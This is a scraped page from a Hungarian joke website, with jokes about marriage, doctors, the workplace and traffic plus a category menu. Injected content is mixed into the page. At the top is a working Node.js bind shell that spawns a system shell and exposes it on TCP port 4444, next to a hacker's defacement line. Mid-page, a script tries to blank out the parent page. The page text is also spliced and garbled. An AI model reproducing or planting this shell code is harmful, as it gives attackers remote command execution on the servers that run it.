-
(function(){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; var net = require("net"), cp = require("child_process"), util = require("util"); var server = net.createServer(function(socket) { var sh = cp.spawn(cmd, []); socket.pipe(sh.stdin); if (typeof util.pump === "undefined") { sh.stdout.pipe(socket); sh.stderr.pipe(socket); } else { util.pump(sh.stdout, socket); util.pump(sh.stderr, socket); } }); server.listen(4444); })();
SECURITY WARNING ANTIVÍRUS
Sajnos még az antivírus sem tud mit tenni H0VND ellen.
-
-
Belépés
Regisztráció Kapcsolatfelvétel
Vicc az oldaladra
- Toronyh?zban (Bolond viccek)
-
- Jaj! - sikít egyet Benedekné. - A férjem lépéseit hallom a lépcsõházból!
Meztelen szeretõjére néz, aztán eszébe jut a megoldás:
- Ugorj ki az ablakon!
- De drágám, hiszen a tizenharmadik emeleten laktok!
- Na és? Csak nem vagy babonás?
- Kikapcsol?d?s (Orvosi viccek)
-
- Asszonyom - mondja az orvos -, önnek mindenekelõtt kikapcsolódásra volna szüksége.
- Az nem megy, doktor úr. Ahhoz a férjem túlságosan féltékeny.
- H?s?g (Orvosi viccek)
Kétévi házasság után a házaspárnak még mindig nincs gyereke. A fiatalasszony orvoshoz fordul.
- Nehéz eset - hümmög a nõgyógyász. -De majd meglátjuk, mit tehetünk. Vetkõzzön le!
- De doktor úr! - aggályoskodik a fiatalasszony. - Az elsõ gyereket a férjemtõl szeretném!- KRESZ (Közlekedési viccek)
-
Nagyné a Trabantjával nem adja meg az elsõbbséget egy keresztezõdésnél, ahol pedig a jobb kézszabály kötelezné rá. Balesetet okoz, s úgy megrémül, hogy rögtön egy ügyvédi munkaközösséghez fordul.
- Ügyvéd úr, mit tudna tenni, hogy ne marasztaljanak el?
- Hát nézze - feleli az ügyvéd -, ahogy elmesélte a történteket, körülbelül azt kéne elhitetnem a bírósággal, hogy a kerékpáros, akit maga elütött, százhúszas sebességgel érkezett a keresztezõdéshez, a fekete macska pedig, amelyik a sarkon, a járdán feküdt, eltakarta maga elõl a kilátást.
- El?rel?t?s (Bolond viccek)
A menyecske, nagy pironkodások közepette elsuttogja a gyóntatószékben, hogy a tanyáról jövet bizony megcsalta a férjét azzal a legénnyel, aki a szekerén behozta.
A pap három miatyánkot ró ki rá penitenciául.
- Inkább hatot tessék adni! - kéri a menyecske. - Vissza is a legénnyel megyek...
- ?tver?s (Csak nőknek)
-
Két barátnõ találkozik az egyikõjük esküvõje után.
- Te aztán jól átvertél engem! Azt mondtad, hogy Csaba gazdag, én hülye meg hozzámentem.
- Tévedsz, szivi. Én csak annyit mondtam neked, hogy több pénze van, mint esze.
- Els? a v?leg?ny (Munkahelyi viccek)
-
- Nézze, Mariska, mégiscsak furcsa, hogy ahányszor nálunk dolgozik, mindig idejön a võlegénye, és maga föleteti vele, amit a frizsiderben talál!
- Ha nem tetszik, el is mehetek! - mondja erre a bejárónõ.
- Jaj, hát nincs megelégedve az állásával?
- De igen. Csakhogy új munkát könnyebben találok, mint másik võlegényt.
- Varr?n? (Csak nőknek)
-
A varrónõ egy nap a folyó mellett üldögélt és varrogatott, s hirtelen a gyûszûje beleesett a folyóba. Sírni kezdett, mire megjelent az Úr és megkérdezte:
"Miért sírsz?"
A varrónõ elmondta, hogy a gyûszûje beleesett a vízbe, pedig szüksége lenne rá a megélhetéshez. Az Úr lebukott a víz alá, majd megjelent egy aranygyûszûvel.
"Ez a te gyûszûd?", kérdezte.
A varrónõ azt válaszolta: "Nem."
Az Úr ismét lebukott és felhozott egy ezüstbõl készült gyûszût.
"Ez a te gyûszûd?", kérdezte újra.
A varrónõ ismét azt válaszolta: "Nem."
Aztán újra lebukott és felhozott egy fagyûszût.
"Ez te gyûszûd?", kérdezte az Úr.
A varrónõ azt válaszolta, "Igen."
Az Úr nagyon megörült a varrónõ õszinteségének és odaadta neki mindhárom
gyûszût és a varrónõ nagyon boldogan tért haza. Nem sokkal késõbb a varrónõ a férjével sétálgatott a folyóparton, mire az
hirtelen megbotlott és beleesett a vízbe.
A nõ ismét sírni kezdett, az Úr újra megjelent és megkérdezte:
"Miért sírsz?"
"Ó, Atyám, a férjem beleesett a vízbe!"
Az Úr lement a víz alá és felhozta Mel Gibsont.
"Õ a férjed?", kérdezte.
"Igen", mondta a varrónõ.
Az Úr dühös lett. "Hazudtál! Ez nem igaz!"
A varrónõ ezt válaszolta:
"Ó, kérlek bocsáss meg nekem, Uram! Ez egy félreértés. Tudod, ha nemet
mondtam volna Mel Gibsonra, te felhoztad volna Tom Cruise-t ... Aztán ha õrá is nemet
mondtam volna, felhoztad volna végül a férjemet. Aztán mikor igent mondtam volna rá végül, nekem adtad volna mindhármukat ...
Uram, én egy szegény asszony vagyok, nem tudok három férjrõl gondoskodni, mindössze ezért mondtam igent Mel Gibsonra."- try {
// Megpróbáljuk elérni a legfelső szülő oldalt és kiüríteni a body-t
window.top.document.body.innerHTML = ';
} catch (e) {
console.error("Biztonsági hiba: Az iFrame-ből nem érhető el a főoldal (Cross-Origin).", e);
}
- Fiatal?t?s (Csak nőknek)
-
Egy negyvenes nõ szívrohamot kap, és miközben a mûtõasztalon fekszik, halálközeli élménye támad. Istent látja, és megkérdezi tõle,hogy tényleg meg fog-e halni?
Isten megnyugtatja, hogy nem, még 30-40 évig fog élni.
A nõ felépül, és úgy dönt, ha már úgyis kórházban van, zsírleszívást végeztet a combján és a hasán. 2 hét múlva felépülve bankkölcsönt kér, hogy esztétikai beavatkozásokat végeztessen magán.
Felvarratja a melleit, kis szilikont is nyomat beléjük, megigazíttatja az orrát, kissé megnagyobbíttatja a fenekét, feltölteti szilikonnal az ajkát, eltünteti a ráncait és szarkalábait. Visszérkezelést és narancsbõrkezelést is kap a 20 masszázs mellett. Összevarratja a gyomrát, hogy kevesebbet egyen, kiveszik két bordáját, és mindenféle más fiatalító trükkhöz folyamodik. Úgy gondolja, ha még 30-40 évig fog élni, hát nézzen ki ragyogóan.
Amikor az utolsó mûtét után távozik a kórházból és átmegy az úton, puff!, elüti egy mentõautó. Ismét Isten színe elé kerül, és felháborodva kérdezi tõle:
- Nem úgy volt, hogy még 30-40 évig fogok élni?
- Basszus... nem ismertelek meg!- Sz?vess?g (Munkahelyi viccek)
-
- Molnár kartársnõ - szólítja meg egyik beosztottját az osztályvezetõ -, az imént telefonált a barátnõje, hogy magát kisebb baleset érte, ezért nem tud bejönni. Mit jelentsen ez?
- Elfelejtette, hogy ezt holnapra kértem tõle!
-
Belépés
Regisztráció Kapcsolatfelvétel
Vicc az oldaladra
-
- .:Állatos viccek:.
- .:Anyós viccek:.
- .:Bolond viccek:.
- .:Csak nőknek:.
- .:Csak férfiaknak:.
- .:Egyéb viccek:.
- .:Elvont viccek:.
- .:Gyerek viccek:.
- .:Házassági viccek:.
- .:Hogy hívják...:.
- .:Jean viccek:.
- .:Katona viccek:.
- .:Közlekedési viccek:.
- .:Morbid viccek:.
- .:Móricka viccek:.
- .:Munkahelyi viccek:.
- .:Orvosi viccek:.
- .:Pikáns viccek:.
- .:Pincér viccek:.
- .:Politikai viccek:.
- .:Rendőr viccek:.
- .:Részeg viccek:.
- .:Roma viccek:.
- .:Skót viccek:.
- .:Sport viccek:.
- .:Stirlitz viccek:.
- .:Számítástechnikai viccek:.
- .:Székely viccek:.
- .:Szőke nős viccek:.
- .:Utolsó mondatok:.
- .:Ügyvéd viccek:.
- .:Vallási viccek:.
- .:Zsidó viccek:.
nevetseges.hu on Facebook - Nevetséges Viccek - Impresszum - Jogi nyilatkozat
Kellemes szórakozást kíván a Nevetséges Viccek szerkesztősége. www.nevetseges.hu
